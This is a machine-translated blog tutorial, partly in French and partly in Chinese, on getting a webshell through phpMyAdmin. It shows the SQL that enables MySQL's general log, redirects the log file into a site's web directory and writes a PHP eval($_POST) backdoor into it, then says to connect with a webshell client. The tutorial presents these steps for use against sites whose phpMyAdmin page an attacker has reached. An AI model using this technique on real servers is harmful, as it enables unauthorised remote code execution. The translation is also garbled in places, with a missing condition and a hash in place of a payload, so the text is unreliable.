Maison  >  Article  >  base de données  >  À propos de la nouvelle posture getshell de phpmyadmin

À propos de la nouvelle posture getshell de phpmyadmin

藏色散人
藏色散人avant
2020-12-29 17:08:583183parcourir

Ce qui suit est la colonne tutoriel d'utilisation de phpmyadmin pour vous présenter la nouvelle posture getshell de phpmyadmin. J'espère qu'elle sera utile aux amis dans le besoin !

À propos de la nouvelle posture getshell de phpmyadmin

Encyclopédie Baidu : phpMyAdmin est un MySQL basé sur PHP et structuré en Web-Base sur l'hébergeur du site Une gestion de base de données outil qui permet aux administrateurs de gérer les bases de données MySQL à l'aide d'une interface Web. Cette interface Web peut constituer un meilleur moyen de saisir facilement une syntaxe SQL complexe, en particulier lorsqu'il s'agit d'importer et d'exporter de grandes quantités de données. L'un des plus grands avantages est que phpMyAdmin est exécuté sur le serveur Web comme les autres programmes PHP, mais vous pouvez utiliser les pages HTML générées par ces programmes n'importe où, c'est-à-dire pour gérer à distance la base de données MySQL et créer, modifier et supprimer facilement. Bases de données et tableaux de données. Vous pouvez également utiliser phpMyAdmin pour créer une syntaxe PHP couramment utilisée afin de faciliter l'exactitude de la syntaxe SQL requise lors de l'écriture de pages Web.

En termes simples, sa fonction est d'exploiter facilement la base de données sur la page Web.

Lorsque nous obtenons la page phpmyadmin d'un site, la prochaine chose à faire est de getshell.

Vous pouvez élever les privilèges en écrivant un shell, et nous devons remplir les conditions suivantes :

1. Autorisations racine de la base de données

2.

3. La base de données dispose d'autorisations d'écriture

Écrivez dans le shell en sélectionnant '1961270f756795d0bc20d2cc59c606a1' INTO OUTFILE 'chemin physique du site Web. '

Cet article parle principalement du getshell réussi lorsque la condition 3 n'est pas remplie.

Conditions d'utilisation : MySQL 5.0+

La version de MySQL 5.0+ créera automatiquement un fichier journal, puis modifiera la situation globale pendant que le le service est en cours d'exécution. Les variables peuvent également modifier l'emplacement du fichier, mais elles doivent disposer d'autorisations de lecture et d'écriture sur le répertoire dans lequel le journal est généré.

(Cela peut être plus exigeant dans l'environnement Linux, car le répertoire du site est un utilisateur et MySQL est un autre utilisateur. Le contrôle des autorisations est plus strict, principalement selon que les autorisations sont correctement configurées)

Nous testons d'abord si le site dispose d'une autorisation en écriture

Exécutons l'instruction SQL SHOW VARIABLES LIKE 'secure_file_priv'

L'instruction SQL SHOW VARIABLES LIKE 'secure_file_priv' effectue une requête pour trouver secure_file_priv

fonctionnalité secure-file-priv
Le paramètre secure-file-priv est utilisé pour limiter LOAD DATA, SELECT ... OUTFILE et LOAD_FILE() Quel répertoire spécifié vers lequel transférer.

  • Lorsque la valeur de secure_file_priv est nulle, cela indique la restriction selon laquelle MySQL n'autorise pas l'import|export

  • Lorsque la valeur de secure_file_priv est /tmp/, il indique la restriction L'import|export de mysql ne peut avoir lieu que dans le répertoire /tmp/

  • Lorsque la valeur de secure_file_priv n'a pas de valeur spécifique, cela signifie qu'il y a aucune restriction sur l'import|export de mysql

Vous pouvez définir ses propriétés dans le fichier mysql-ini

Après test, nous n'avons pas l'autorisation d'écriture

Ensuite, introduisez deux variables globales MySQL (general_log, general_log file)

  1. Le journal général fait référence à l'état de stockage du journal. Il existe deux valeurs (ON/OFF signifie activé, OFF signifie désactivé).
  2. le fichier journal général fait référence au chemin où le journal est enregistré.

Nous pouvons écrire une phrase de cheval de Troie dans le journal mysql, puis déplacer le chemin du journal mysql vers le répertoire du site Web pour implémenter getshell

Exécuter l'instruction SQL SHOW VARIABLES LIKE ' general_log% ' Effectuer une requête floue

Le journal est fermé par défaut

Nous exécutons l'instruction SQL

set global general_log = "ON";     #开启日志
SET global general_log_file='网站下物理路径';  #更换日志路径

Créé avec succès

 然后执行特殊的查询语句

select  &#39;<?php eval($_POST[aaa]);?>&#39;

我们进入112233.php进行验证,成功写入shell

 最后进行菜刀连接,获得站点webshell

 

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer